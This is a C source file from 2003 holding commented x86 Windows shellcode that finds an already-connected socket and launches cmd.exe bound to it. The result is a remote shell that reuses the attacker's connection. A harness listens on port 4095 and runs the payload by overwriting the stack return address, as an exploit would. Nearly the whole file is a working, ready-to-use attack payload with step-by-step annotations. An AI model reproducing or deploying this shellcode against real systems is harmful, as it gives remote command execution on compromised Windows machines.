// The Dark Raver <darkraver@t0s.org>
// 02/02/2003
// 367 bytes
// GETPEERNAME + CMD
// - Find API offsets
// - With nulls
// - With ExitThread()


#include <sys\types.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <io.h>
void salta(void);


char hell[]=

// ---- Inicializamos ----

"\x55"									/*		push   %ebp						*/
"\x89\xe5"								/*		mov    %esp,%ebp				*/
"\x66\x81\xec\x34\x12"					/*		subw    $0x258,%esp				*/

// ---- Creacion del array de llamadas al API ----

// get_kernel_base:

"\x64\xa1\x30\x00\x00\x00"				/*		mov    %fs:0x30,%eax	*/
"\x8b\x40\x0c"							/*		mov    0xc(%eax),%eax	*/
"\x8b\x70\x1c"							/*		mov    0x1c(%eax),%esi	*/
"\xad"									/*		lods   %ds:(%esi),%eax	*/
"\x8b\x40\x08"							/*		mov    0x8(%eax),%eax	*/

// kern_base in eax

"\x50"                   				/*   	push   %eax	*/

// get_getprocaddress:

"\x8b\xc8"								/*	mov    %eax,%ecx		*/
"\x03\x40\x3c"							/*	add    0x3c(%eax),%eax	*/
"\x8b\x78\x78"							/*	mov    0x78(%eax),%edi	*/
"\x03\xf9"								/*	add    %ecx,%edi		*/
"\x8b\x77\x20"							/*	mov    0x20(%edi),%esi	*/
"\x03\xf1"								/*	add    %ecx,%esi		*/
"\x33\xd2"								/*	xor    %edx,%edx		*/
"\x8b\x06"								/*	mov    (%esi),%eax		*/
"\x03\xc1"								/*	add    %ecx,%eax		*/
"\x81\x38\x47\x65\x74\x50"				/*	cmpl   $0x50746547,(%eax)	*/
"\x75\x1e"								/*	jne    +1e		*/
"\x81\x78\x04\x72\x6f\x63\x41"			/*	cmpl   $0x41636f72,0x4(%eax)	*/
"\x75\x15"								/*	jne    +15		*/
"\x8b\x47\x24"							/*	mov    0x24(%edi),%eax	*/
"\x03\xc1"								/*	add    %ecx,%eax		*/
"\x0f\xb7\x1c\x50"						/*	movzwl (%eax,%edx,2),%ebx	*/
"\x8b\x47\x1c"							/*	mov    0x1c(%edi),%eax	*/
"\x03\xc1"								/*	add    %ecx,%eax		*/
"\x8b\x1c\x98"							/*	mov    (%eax,%ebx,4),%ebx	*/
"\x01\xcb"								/*	add    %ecx,%ebx		*/
"\xeb\x09"								/*	jmp    +9		*/
"\x83\xc6\x04"							/*	add    $0x4,%esi		*/
"\x42"									/*	inc    %edx		*/
"\x3b\x57\x18"							/*	cmp    0x18(%edi),%edx	*/
"\x75\xcd"								/*	jne    -32		*/

// getprocaddress in ebx

"\x58"									/*   	pop   %eax	*/
"\x50"                   				/*   	push   %eax	*/

// push &"CreateProcessA"

"\xe8\x0f\x00\x00\x00" 					/* 		call +13		*/
"CreateProcessA\x00"					/*		command string		*/

"\x50"                   				/*   	push   %eax	*/

// CreateProcessA=GetProcAddress(kernel_base. "CreateProcessA")

"\xff\xd3"              				// call *%ebx

"\x89\x45\x04"                			/*		mov    %eax,0x04(%ebp)	*/

"\x58"									/*   	pop   %eax	*/
"\x50"                   				/*   	push   %eax	*/

// push &"ExitThread"

"\xe8\x0b\x00\x00\x00" 					/* 		call +11		*/
"ExitThread\x00"						/*		command string		*/

"\x50"                   				/*   	push   %eax	*/

// ExitThread=GetProcAddress(kernel_base. "ExitThread")

"\xff\xd3"              				// call *%ebx

"\x89\x45\x2C"                			/*		mov    %eax,0x2C(%ebp)	*/

"\x58"									/*   	pop   %eax	*/

// push &"LoadLibraryA"

"\xe8\x0d\x00\x00\x00" 					/* 		call +13		*/
"LoadLibraryA\x00"						/*		command string		*/

"\x50"                   				/*   	push   %eax	*/

// LoadLibraryA=GetProcAddress(kernel_base. "LoadLibraryA")

"\xff\xd3"              				// call *%ebx

// ws2_32.dll=LoadLibraryA("ws2_32.dll")

// push &"ws2_32.dll"

"\xe8\x0b\x00\x00\x00" 					/* 		call +12		*/
"ws2_32.dll\x00"						/*		command string		*/

// call LoadLibraryA = 0x1C

"\xff\xd0"              				/*		call *%eax	*/

// push &"getpeername"

"\xe8\x0c\x00\x00\x00" 					/* 		call +11		*/
"getpeername\x00"						/*		command string		*/

"\x50"                   				/*   	push   %eax	*/

// WSAStartup=GetProcAddress(ws2_32.dll, "getpeername")

"\xff\xd3"              				// call *%ebx

"\x89\x45\x20"                			/*		mov    %eax,0x20(%ebp)	*/

// -----------------------------------------

// LoadLibraryA = 0x1C(%ebp)

// GetProcAddress = 0x08(%ebp)

// kernel_base = 0x24(%ebp)

// ws2_32.dll = 0x28(%ebp)

// ExitThread = 0x2C(%ebp)

// CreateProcessA = 0x04(%ebp)

// getpeername = 0x20(%ebp)

// ---- Busqueda del socket ----

"\x31\xdb"                   			/*		xor    %ebx,%ebx				*/

// x = 16;
// &x = 0xffffffe4(%ebp)

"\x89\x5d\xe4"							/*		mov    %ebx,0xffffffe4(%ebp)	*/
"\xc6\x45\xe4\x10"						/*		movb   $0x10,0xffffffe4(%ebp)	*/

// &serv_addr = 0xfffffde8(%ebp)

"\x31\xf6"								/*		xor    %esi,%esi				*/

// loop

"\x83\xc6\x04"							/*		add    $0x4,%esi				*/

// getpeername(i, (struct sockaddr *)&tdr, &x);

"\x8d\x45\xe4"							/*		lea    0xffffffe4(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x8d\x85\xe8\xfd\xff\xff"				/*		lea    0xfffffde8(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/

"\x56"									/*   	push   %esi						*/

// call getpeername = 0x20(%ebp)

"\x8b\x45\x20"                			/*		mov    0x20(%ebp),%eax	*/
"\xff\xd0"              				/*		call *%eax	*/


"\x39\xc3"								/*		cmp    %eax,%ebx				*/

"\x75\xe8"								// 		jnz loop

// &hSock=0xfffffe64(%ebp)

"\x89\xb5\x64\xfe\xff\xff"				/*		mov    %esi,0xfffffe64(%ebp)	*/

// ---- Lanzamiento de cmd.exe ----

// memset(&piProcInfo, 0, 16);
// &piProcInfo=0xfffffe48(%ebp)

"\x8d\xbd\x48\xfe\xff\xff"				/*		lea    0xfffffe48(%ebp),%edi	*/
"\x88\xd8"								/*		mov    %bl,%al					*/
"\x31\xc9"								/*		xor    %ecx,%ecx				*/
"\xb1\x16"								/*		mov    $0x16,%cl				*/
"\xf3\xaa"                				/*		repz stos 						*/

// memset(&siStartInfo, 0, 68);
// &siStartInfo= 0xfffffdf8(%ebp)

"\x8d\xbd\xf8\xfd\xff\xff"				/*		lea    0xfffffdf8(%ebp),%edi	*/
"\x88\xd8"								/*		mov    %bl,%al					*/
"\x31\xc9"								/*		xor    %ecx,%ecx				*/
"\xb1\x68"								/*		mov    $0x68,%cl				*/
"\xf3\xaa"                				/*		repz stos 						*/

//siStartInfo.dwFlags = 256 | 1;
//siStartInfo.wShowWindow = 0;
//siStartInfo.hStdOutput = hSock;
//siStartInfo.hStdError = hSock;
//siStartInfo.hStdInput = hSock;

"\x66\xc7\x85\x24\xfe\xff\xff\x01\x01"	/*		movw   $0x101,0xfffffe24(%ebp)	*/
"\x66\x89\x9d\x28\xfe\xff\xff"    		/*		mov    %bx,0xfffffe28(%ebp)		*/
"\x8b\x85\x64\xfe\xff\xff"				/*		mov    0xfffffe64(%ebp),%eax	*/
"\x89\x85\x34\xfe\xff\xff"				/*		mov    %eax,0xfffffe34(%ebp)	*/
"\x89\x85\x38\xfe\xff\xff"				/*		mov    %eax,0xfffffe38(%ebp)	*/
"\x89\x85\x30\xfe\xff\xff"				/*		mov    %eax,0xfffffe30(%ebp)	*/

// CreateProcess(0, "cmd.exe", 0, 0, 1, 0, 0, 0, &siStartInfo, &piProcInfo);

"\x8d\x85\x48\xfe\xff\xff"				/*		lea    0xfffffe48(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x8d\x85\xf8\xfd\xff\xff"				/*		lea    0xfffffdf8(%ebp),%eax	*/
"\x50"									/*   	push   %eax						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/
"\x6a\x01"								/*   	push   $0x1						*/
"\x53"                      			/*		push   %ebx						*/
"\x53"                      			/*		push   %ebx						*/

// push &cmd.exe

"\xeb\x02"                   			/*		jmp +2							*/
"\xeb\x0d"								/*		jmp +13							*/
"\xe8\xf9\xff\xff\xff"          		/* 		call   -7						*/
"cmd.exe\x20"							/*		command string					*/

"\x53"                      			/*		push   %ebx						*/

// call CreateProcessA = 0x04(%ebp)

"\x8b\x45\x04"                			/*		mov    0x04(%ebp),%eax	*/
"\xff\xd0"              				/*		call *%eax	*/

// call ExitThread = 0x2C(%ebp)

"\x8b\x45\x2C"                			/*		mov    0x2C(%ebp),%eax	*/
"\xff\xd0"              				/*		call *%eax	*/

""; // TDR

DWORD main(int argc, char *argv[])
{
   SOCKET hSock;
   SOCKET hDes;
   PROCESS_INFORMATION piProcInfo;
   STARTUPINFO siStartInfo;
   struct sockaddr_in serv_addr;
   WSADATA info;
   int x;

x = 16;

WSAStartup(257, &info);

hDes=WSASocket(2, 1, 0, 0, 0, 0);

printf("%i\r\n", hDes);

serv_addr.sin_family = 2;
serv_addr.sin_port = 65295; // 4095
serv_addr.sin_addr.s_addr = 0;

bind(hDes, (struct sockaddr *)&serv_addr, 16);

listen(hDes, 5);

hSock = accept(hDes, (struct sockaddr *)&serv_addr, &x);

printf("%i\r\n", hSock);

printf("%d\n",sizeof(hell));

salta();
}

void salta(void) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)hell;
}